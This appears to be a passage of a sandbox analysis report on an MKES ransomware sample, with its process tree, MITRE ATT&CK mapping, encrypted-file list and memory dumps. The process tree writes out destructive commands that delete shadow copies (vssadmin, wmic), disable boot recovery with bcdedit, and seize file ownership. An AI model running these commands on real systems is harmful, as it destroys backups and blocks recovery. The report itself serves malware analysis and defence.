C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000095.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000095.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000009M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000009M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.metadata""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\ServiceWorkerFiles\9D44E7EB-C199-4DD1-B984-92D212B3728D\Zrtu2hQ08VU_1.metadata" /E /G Admin:F /C3⤵
-
-
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet1⤵
- Interacts with shadow copies
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\HINJ9Ca8.bat"1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures1⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
#MKES_INFO#.rtf
[[email protected]].48bBZeBN-ovcjmrYw.MKES
[[email protected]].68pbKqko-ocytuD0f.MKES
[[email protected]].6QzWBjYM-oPfB6aWA.MKES
[[email protected]].7Pf9RmVt-WsTlqnPk.MKES
[[email protected]].9RPVey3k-z79MtxeH.MKES
[[email protected]].CRtBwqco-pS5LZxho.MKES
[[email protected]].H1UxxcC4-JLjLjXq5.MKES
[[email protected]].H6MBGy9n-S4JbOoCr.MKES
[[email protected]].NFmKpUAo-QNHlxj2J.MKES
[[email protected]].PLPtRUq1-njAcSTPf.MKES
[[email protected]].Q8EMOp8a-lqlfRhK7.MKES
[[email protected]].VpQpyMAO-Ekb8ZRJe.MKES
[[email protected]].YMeXEGvB-XgUfGEYX.MKES
[[email protected]].YeFZbiFs-nt0PxpxB.MKES
[[email protected]].fqllRcxo-rUPs5gCs.MKES
[[email protected]].gqXcyz3R-LngJjJwR.MKES
[[email protected]].j8hvkpj3-zogzHOM3.MKES
[[email protected]].mOgZ4I9X-mjl9OTrp.MKES
[[email protected]].pPT8V8IG-PEMBiYeQ.MKES
[[email protected]].qgpVTb0a-CSY2gxjb.MKES
[[email protected]].uaYy5vGS-27bcCaU4.MKES
[[email protected]].xg1sevtr-7cCyt0mn.MKES
[[email protected]].9FNxHMaA-0FQ9rDxg.MKES
[[email protected]].pRq4REUN-3Ehudv06.MKES
[[email protected]].Jk6X76M3-F8aQsmCU.MKES
[[email protected]].n9ADpUkq-O60LWjLm.MKES
[[email protected]].u6B70fzt-tHOY3mNn.MKES
[[email protected]].aUWQZB7U-e8mVezX5.MKES
[[email protected]].ixxl4Ep5-XNbgqPpR.MKES
[[email protected]].74CncgUO-FZVTxCBX.MKES
[[email protected]].9tFyAk6j-XW4I9CRY.MKES
[[email protected]].4s6J7Dqj-vlIkYf5o.MKES
[[email protected]].J6iTiJpO-p2Nw92Dt.MKES
[[email protected]].7XmOsAPG-7CN6aQSP.MKES
[[email protected]].JeIUpvGI-31CqJKHM.MKES
[[email protected]].WMuXjpwv-D7njlAaz.MKES
[[email protected]].NW6uDh91-rffzyGPC.MKES
[[email protected]].K83dxUhK-Ga57EGj3.MKES
[[email protected]].3JZJdLpQ-gXf3tcBi.MKES
[[email protected]].3nfDu1vF-8OgQU5CW.MKES
[[email protected]].5wTp42WP-aua6rvrb.MKES
[[email protected]].6pGkmpcm-XONuhVNE.MKES
[[email protected]].A7YOhRXI-nCvahEjf.MKES
[[email protected]].CELmgOl5-URJ7FjOA.MKES
[[email protected]].D8k9D2sR-dL692vi4.MKES
[[email protected]].Ew6mDdjY-cAncH4Y1.MKES
[[email protected]].GOXrBIvb-dRfSrhoK.MKES
[[email protected]].I3WNNo2h-d54Sltz1.MKES
[[email protected]].NiFxO16O-rQdCLiMv.MKES
[[email protected]].NjEGtSxU-VdQUyMmV.MKES
[[email protected]].OYLuTwEL-dTWLUlOB.MKES
[[email protected]].R0YE4TSJ-za5pjuQM.MKES
[[email protected]].S6mofYWo-Q2rl5vko.MKES
[[email protected]].TmsctPlH-2uIEwtqn.MKES
[[email protected]].VSw6Ewkp-X4FabL3w.MKES
[[email protected]].VbUfvfTP-6sh5EMGl.MKES
[[email protected]].Xrrmq3Q9-OpN3B6Gf.MKES
[[email protected]].c9OVa56U-Htia7i7e.MKES
[[email protected]].dhFACmUR-T8BwxbDd.MKES
[[email protected]].e0xH9BWU-wT1PdK2o.MKES
[[email protected]].fIFsgJwt-UDyfks13.MKES
[[email protected]].kvlJUogf-it2ObaAC.MKES
[[email protected]].lis5Ezgm-0WcNMOG5.MKES
[[email protected]].pyiPucJa-bQzvDUPW.MKES
[[email protected]].rjJfdhId-jkzchuGb.MKES
[[email protected]].rmFEH0c7-oNBtoDmq.MKES
[[email protected]].t20YbEe4-gQWSWkTi.MKES
[[email protected]].w62o7cog-b1uw4ROE.MKES
[[email protected]].xNbzXxvC-QvJBcIyj.MKES
[[email protected]].yp6fxpB2-AjoLawOP.MKES
[[email protected]].5iwato1G-7UNNuXip.MKES
[[email protected]].fs4lojcX-uN3eUbD1.MKES
[[email protected]].wTM07kuM-pAZYcTqR.MKES
[[email protected]].ESjESohd-p6jOxdPq.MKES
[[email protected]].ggeMKzfy-15QY7aeq.MKES
[[email protected]].CnivPolI-9EeHc8uh.MKES
[[email protected]].MVEjWvaj-aKN9nxT7.MKES
[[email protected]].Fqr5ZvKJ-DdfshwPk.MKES
[[email protected]].0MkWZSD3-jKJRVtLN.MKES
[[email protected]].56pJLYXK-2WR32Tkh.MKES
[[email protected]].F6PTY0gY-6zkBb3Oo.MKES
[[email protected]].GzNwDyYO-d1fAoFOv.MKES
[[email protected]].U4WsOT0f-lntXVEqf.MKES
[[email protected]].aPF0TaG4-ueTzsiBO.MKES
[[email protected]].oBziiPKz-MDOak7Pb.MKES
[[email protected]].0n64SePn-1XOmOO8M.MKES
[[email protected]].MuGoGkIH-VDb515VK.MKES
[[email protected]].w5nfrTz3-DYvYTXeo.MKES
[[email protected]].LngcRaEt-Q0PeM9XD.MKES
[[email protected]].dErbQIYO-BxTCKM2W.MKES
[[email protected]].3t2Kmlbq-u0ZKIF8U.MKES
[[email protected]].IqEOzJiZ-Cdcrx9tb.MKES
[[email protected]].0aN30cXi-BzQOm2gX.MKES
[[email protected]].140MdVv7-lrcKoDBa.MKES
[[email protected]].2bNk9Gly-AEUIh9r0.MKES
[[email protected]].7nNCtmAD-oBk495Q7.MKES
[[email protected]].GEfdni82-JZNlIoEg.MKES
[[email protected]].GoJNM7or-YzDt3eOi.MKES
[[email protected]].OJZLVXT2-ICW4nQWA.MKES
[[email protected]].QhCmkl3O-UqZyXCQp.MKES
[[email protected]].UCio9hvK-mDcxpAKo.MKES
[[email protected]].UILAKlbS-Gs8VIYmO.MKES
[[email protected]].Y073W2Zq-BSLNof03.MKES
[[email protected]].Z3egzxIT-VfeMA3Ho.MKES
[[email protected]].fUoooqn4-rknJyywI.MKES
[[email protected]].oGqMVcIh-8xABaqYb.MKES
[[email protected]].qcQ6HkM9-j8FUNlZ4.MKES
[[email protected]].su20aJxg-eBhSyPJb.MKES
[[email protected]].xPctp0UD-3UqMNNZu.MKES
[[email protected]].tWapQvnR-w8InGUmw.MKES
[[email protected]].6BDGQ3y8-4ovq1w72.MKES
[[email protected]].0tbCnQTe-se0RzRUX.MKES
[[email protected]].2lZX1y4Q-z8q3Z7pw.MKES
[[email protected]].48boKrEB-qY1ep7Hs.MKES
[[email protected]].4VTsU2XU-yOzdJu0y.MKES
[[email protected]].4rctvxNM-6N5r0TIC.MKES
[[email protected]].4tyFCwPL-WyajiZba.MKES
[[email protected]].5gCvv5W9-LoO1btt1.MKES
[[email protected]].6VG1euPF-RgaO8uyd.MKES
[[email protected]].AKtB0CbC-FSzjhIlv.MKES
[[email protected]].AZyk6zNI-PWLOfYI0.MKES
[[email protected]].AlxfxTbL-aSDuwXNZ.MKES
[[email protected]].DZ89yelm-zi9Mv7YH.MKES
[[email protected]].EhN4cDpA-FH77B87H.MKES
[[email protected]].G2DQd7xj-5dDm6XUr.MKES
[[email protected]].JW1Byn81-35vJObbs.MKES
[[email protected]].Qjmlm7Lp-QFm14VaJ.MKES
[[email protected]].R9qKqff8-UAst5Fcu.MKES
[[email protected]].RzDJB8qb-2KBB0hlf.MKES
[[email protected]].SXUlYmjR-qc0wYfU5.MKES
[[email protected]].SlRraMXc-j6JkAZzf.MKES
[[email protected]].U47pZFps-1z17smqH.MKES
[[email protected]].b0uU8YVz-wzm4qcJ3.MKES
[[email protected]].cXsSaIxS-Uf8tZMa3.MKES
[[email protected]].d5J9YdIU-zCb59TfM.MKES
[[email protected]].dhwiqJeX-EZmSynyg.MKES
[[email protected]].ePNxNjkr-JM5HTsjy.MKES
[[email protected]].fbLgl9ZH-lezvWC5S.MKES
[[email protected]].flgK1nkO-zocv5i53.MKES
[[email protected]].g7C8Ak6W-cZvu2xh3.MKES
[[email protected]].gj8UmDy8-DHQhHLYU.MKES
[[email protected]].hUMjgb57-93MtLbiM.MKES
[[email protected]].kxXoBgkE-xqOqYhC8.MKES
[[email protected]].lCKEgHt4-uOfCAvFb.MKES
[[email protected]].mU51IW4t-AxeFCOLD.MKES
[[email protected]].mhIpaas4-npqknXmS.MKES
[[email protected]].o8QdkSj4-jicO7LZ2.MKES
[[email protected]].p7W2rpq9-Ullf75sn.MKES
[[email protected]].pwBK3qqT-MVV4HuAj.MKES
[[email protected]].rewmMbg6-eg2ApMcU.MKES
[[email protected]].sjhebVVY-AMXtye5s.MKES
[[email protected]].wvqiusku-y2YKXUaZ.MKES
[[email protected]].xXQzCfoH-0AIfz56O.MKES
[[email protected]].yGJM99aD-CJyLF71m.MKES
[[email protected]].zRSEsyLY-sDp9rHcO.MKES
fr-CA.pak.DATA
[[email protected]].QV7rdHyM-Bi4iirfR.MKES
[[email protected]].6OHD9sqQ-kd6UEyIS.MKES
[[email protected]].qKPqqYdm-RREotLjH.MKES
[[email protected]].xAkvrId5-TUxJTYGt.MKES
[[email protected]].xnXZuCPG-TnSj67sw.MKES
[[email protected]].1owdkf2q-qdUo3Fdb.MKES
[[email protected]].3w8X626s-S5KcXtO8.MKES
[[email protected]].MQ1DRUww-UCYrrMLb.MKES
[[email protected]].s976jJ6z-2diSmDyz.MKES
[[email protected]].gtSPshKz-TStCp1cV.MKES
[[email protected]].qn7hS9F0-sLDDCmwN.MKES
[[email protected]].yjIfjNi3-wOTl5ifD.MKES
[[email protected]].SYMQx2bZ-KjHUcARN.MKES
[[email protected]].Vn9s0IOn-N8ioT6BV.MKES
[[email protected]].WAxSmuQR-Tstlj9yD.MKES
[[email protected]].YSAkuWds-3wFDWHvv.MKES
[[email protected]].oZA09apD-nhcVJ27W.MKES
[[email protected]].owqLRIRW-1Khar2XX.MKES
[[email protected]].hudrJDS4-OzM5JLXz.MKES
[[email protected]].Zf320oS9-tTgnlk56.MKES
[[email protected]].MdH0bag9-m7Ux6lfS.MKES
[[email protected]].xzsfDXdu-z338P6K2.MKES
[[email protected]].BFL0j6ZQ-TgOxgASL.MKES
[[email protected]].15kZusKx-bCoIVUcN.MKES
[[email protected]].H0A5ceZC-DkmVaNjY.MKES
[[email protected]].MPIVskIg-nmH5HX6s.MKES
[[email protected]].QJOK9yaO-KRMJi3V8.MKES
[[email protected]].rXw5RfjM-VZUsZ5eS.MKES
[[email protected]].I8nJpxwi-Lzje0eid.MKES
[[email protected]].Z1RA30FH-vhhKTpyC.MKES
[[email protected]].hfHgChme-rGnm90Xf.MKES
[[email protected]].Oc55i18f-NWdOiVt8.MKES
[[email protected]].0QRyNBCX-Dy9OVlHh.MKES
[[email protected]].iTFhoKKh-FoeMDOD1.MKES
[[email protected]].wYMlE9FA-waZ7tZEw.MKES
[[email protected]].IeJu72nx-f4gqCbbB.MKES
[[email protected]].8HsNmkEi-bWlXy6et.MKES
[[email protected]].1AegBuAV-QsBFQEtY.MKES
[[email protected]].3UgY3qyW-ijOkO0e8.MKES
[[email protected]].PdZxHHgo-S5HCsoL7.MKES
[[email protected]].X54de0hi-jPy1nSDs.MKES
[[email protected]].kp4RYqqH-4lZrPWoS.MKES
[[email protected]].xRswsGsw-GjahXoMC.MKES
[[email protected]].eN3uiDlx-PlcTFGOk.MKES
[[email protected]].wOXpxN7a-oGe3XEnl.MKES
[[email protected]].680kfKkU-hMAkETQp.MKES
[[email protected]].Pq9B31zb-L7FIxNXs.MKES
[[email protected]].0eoFjYQD-CmvENdjL.MKES
[[email protected]].1vRj8HiQ-lZtwnB4Z.MKES
[[email protected]].2d1MvNcL-GAESsamr.MKES
[[email protected]].3AejhzVq-ChfBlBsV.MKES
[[email protected]].40UlH2ZF-3cI1CiPq.MKES
[[email protected]].6apL2w8f-V14DPe2D.MKES
[[email protected]].7SJmRwdx-pylBWOsI.MKES
[[email protected]].7wr1mTds-oJgYrRHZ.MKES
[[email protected]].A5Fk6IJ0-Sc4mFFDW.MKES
[[email protected]].C2UNjvc3-kZWhaaeX.MKES
[[email protected]].Cvi9V7s6-qeyxQTv9.MKES
[[email protected]].GpITp3pd-TdBikDGj.MKES
[[email protected]].HAbiMBYx-EzwKXfdh.MKES
[[email protected]].IP7PgX9I-C3fUTrli.MKES
[[email protected]].J31r6SxC-2EPdIevf.MKES
[[email protected]].JPhrf0AD-KFBiO3rp.MKES
[[email protected]].JVbdofvy-aJ3hwqOV.MKES
[[email protected]].K0r1FtP9-1qJrLobf.MKES
[[email protected]].KwtxtwiT-0NcvaBCs.MKES
[[email protected]].LHvM5Cph-uFx3ztNa.MKES
[[email protected]].LSdSHTOn-wvsZY2jo.MKES
[[email protected]].QkaFYsLo-yv9xi3tY.MKES
[[email protected]].Rovca4WR-aeEln7QY.MKES
[[email protected]].S8Blj0bx-FyXk01eU.MKES
[[email protected]].Uy8iAjzM-wGYN1tV4.MKES
[[email protected]].ZEvvO1ZM-u0dnBKVY.MKES
[[email protected]].ZeoV5Cx6-wZwt6EHx.MKES
[[email protected]].aYEiGhZe-HygsBaOv.MKES
[[email protected]].cT6ZuBV1-o6y9LCvJ.MKES
[[email protected]].cVS2g40V-jNO5NTzj.MKES
[[email protected]].ch3dZ1WZ-j8PebZRd.MKES
[[email protected]].dJQ6IxFz-5VQLRBnQ.MKES
[[email protected]].efE1A3l0-TQNwFBvG.MKES
[[email protected]].fDduEUPV-lgcxvzVc.MKES
[[email protected]].ffgaW6b6-aM8COkhf.MKES
[[email protected]].htqmCBp1-DPNI0GQB.MKES
[[email protected]].imCW84hI-3PJspMcy.MKES
[[email protected]].m5Ww5z5v-yPPrcoX9.MKES
[[email protected]].mZlV04N6-NGKJMkA1.MKES
[[email protected]].qyQYeU3y-655FfWD9.MKES
[[email protected]].r78SiYVE-kBxPaRcx.MKES
[[email protected]].t8F48U3d-X4danFfF.MKES
[[email protected]].vKEuq9BM-GM50vne9.MKES
[[email protected]].wJWwohhv-kGui1vQJ.MKES
[[email protected]].wLoOLviP-xhQVsFEi.MKES
[[email protected]].wOPKADRt-2kK0FwwL.MKES
[[email protected]].wjU6Qitn-VfyB7s0V.MKES
[[email protected]].xI2HQRbT-KBTVGr4M.MKES
[[email protected]].xx0HJOWh-786kXHtq.MKES
[[email protected]].y4XH9R1g-GHG8dEuw.MKES
[[email protected]].yKJBjIVz-52xRmWil.MKES
[[email protected]].z7LiaavM-rlXom161.MKES
[[email protected]].q6X2cMan-NowS5kNC.MKES
[[email protected]].tD7AUd2D-A9Ei0d5m.MKES
[[email protected]].7eE0fP4x-G3zow707.MKES
[[email protected]].U6f8JDfy-JVtzjqeR.MKES
[[email protected]].UdqoTm5m-kFAWZC5b.MKES
[[email protected]].boBKw52p-CVDLgK9f.MKES
[[email protected]].JyaHPqjq-RY2HnrJq.MKES
[[email protected]].OB4LyItN-eKS5Tyb7.MKES
[[email protected]].QMh0q6P7-vFp1T17u.MKES
[[email protected]].f87m6pCk-lEFd5Yhq.MKES
[[email protected]].EppLUG3s-xZt1yiqI.MKES
[[email protected]].Dyd2ie7d-6jRVx0Ic.MKES
[[email protected]].pPJSaC4s-mJyQdfTX.MKES
[[email protected]].wI9d5dkY-rFOVRedX.MKES
[[email protected]].jzLaBku3-OxOs2vVF.MKES
[[email protected]].f4xDZfmW-xClN57rC.MKES
[[email protected]].knRoZ2iQ-F1LEILbW.MKES
[[email protected]].zIHKgSJ3-WkyltJya.MKES
[[email protected]].2TB268U5-hd3OXLbM.MKES
[[email protected]].8uJsrUQV-grBsQgH3.MKES
[[email protected]].CndZpobJ-MBxl62Qp.MKES
[[email protected]].2WaFaPYP-41yeT9DE.MKES
[[email protected]].8r3TasNM-gFba5d9K.MKES
[[email protected]].RcL83XDb-0H6a1yy9.MKES
[[email protected]].a8GU83rd-RsB6VWR4.MKES
[[email protected]].wRGOgEgY-paX5Jx0t.MKES
[[email protected]].Jh52SOCW-1clXjZfS.MKES
[[email protected]].PtzXwSzP-YzsIiYY7.MKES
[[email protected]].PzoZdcmz-DdwXdXC2.MKES
[[email protected]].T3KW4lAZ-WhyMRf6a.MKES
[[email protected]].Du3gWxxd-3pb0zutJ.MKES
[[email protected]].L28ORPZF-mhoN4l5i.MKES
[[email protected]].NXXJoEGh-EVK7OeVd.MKES
[[email protected]].CZ142ovX-5NoVESHm.MKES
[[email protected]].PQN1JHoT-UTfjTXVy.MKES
[[email protected]].ZUfbxSry-A6GGNIRy.MKES
[[email protected]].ogbk7twT-G6nnFjyg.MKES
[[email protected]].JNzvb1Wa-EW4aviHr.MKES
[[email protected]].emMIw0qs-29lNpHkX.MKES
[[email protected]].xcS7eQtV-9LNTrYHP.MKES
[[email protected]].9HsxENqG-p5cU7jfm.MKES
[[email protected]].eiFeoxqb-a3EfgemI.MKES
[[email protected]].vra14qV9-cns3MLFW.MKES
NW1kpl0U.exe
bad_42BF8ABFAD73398B.txt
pIGuRUh1.bat
wRsAJGlb.exe
wRsAJGlb64.exe
OD3DUq4i.vbs
[[email protected]].JztRt8v9-ZMDcRvoz.MKES
memory/288-16745-0x0000000000400000-0x0000000000477000-memory.dmp
memory/304-16759-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1292-16460-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1392-16514-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1548-16454-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2028-16606-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2152-16551-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2172-16698-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2444-16589-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2500-16719-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2592-10169-0x0000000000400000-0x0000000000539000-memory.dmp
memory/2928-16653-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3088-16602-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3096-16448-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3208-10501-0x0000000001560000-0x00000000015C4000-memory.dmp
memory/3208-10514-0x0000000003070000-0x000000000307B000-memory.dmp
memory/3208-10511-0x0000000003040000-0x000000000306F000-memory.dmp
memory/3212-16656-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3232-16716-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3396-16436-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3684-16756-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3756-16682-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3756-16499-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4192-15110-0x0000000000400000-0x0000000000539000-memory.dmp
memory/4192-10168-0x0000000002770000-0x00000000027D4000-memory.dmp
memory/4192-16610-0x0000000000400000-0x0000000000539000-memory.dmp
memory/4192-10167-0x0000000000400000-0x0000000000539000-memory.dmp
memory/4224-16585-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4272-16676-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4464-16573-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4516-16731-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4532-16706-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4624-16754-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4772-16425-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4848-16649-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4932-16650-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5080-16599-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5176-16581-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5196-16704-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5208-16735-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5228-16598-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5252-16430-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5288-16596-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5296-15164-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5316-16720-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5328-16524-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5336-16677-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5348-16730-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5456-16442-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5472-16439-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5556-16728-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5580-16620-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5596-16457-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5612-16715-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5688-16571-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5692-16563-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5808-16554-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5816-16476-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5860-16463-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5884-15896-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5988-16647-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6008-16707-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6024-16645-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6096-16561-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6176-16472-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6268-16479-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6280-16667-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6348-16661-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6356-16751-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6368-16749-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6388-16670-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6436-15161-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6452-16466-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6456-16657-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6476-16722-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6632-16558-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6668-16492-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6684-16548-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6760-16527-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6792-16546-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6908-16659-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6976-16603-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7008-16641-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7056-16594-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7064-16532-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7080-16422-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7100-16556-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7116-16577-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7172-16511-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7228-16696-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7228-16694-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7232-16613-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7252-16747-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7272-16637-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7296-16579-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7328-16724-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7356-16726-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7360-16445-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7460-16428-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7532-16600-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7548-16133-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7576-16033-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7612-16651-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7624-14157-0x000001EBF1EE0000-0x000001EBF1F11000-memory.dmp
memory/7628-16702-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7680-16734-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7748-16689-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7788-16536-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7932-16575-0x0000000000400000-0x0000000000477000-memory.dmp
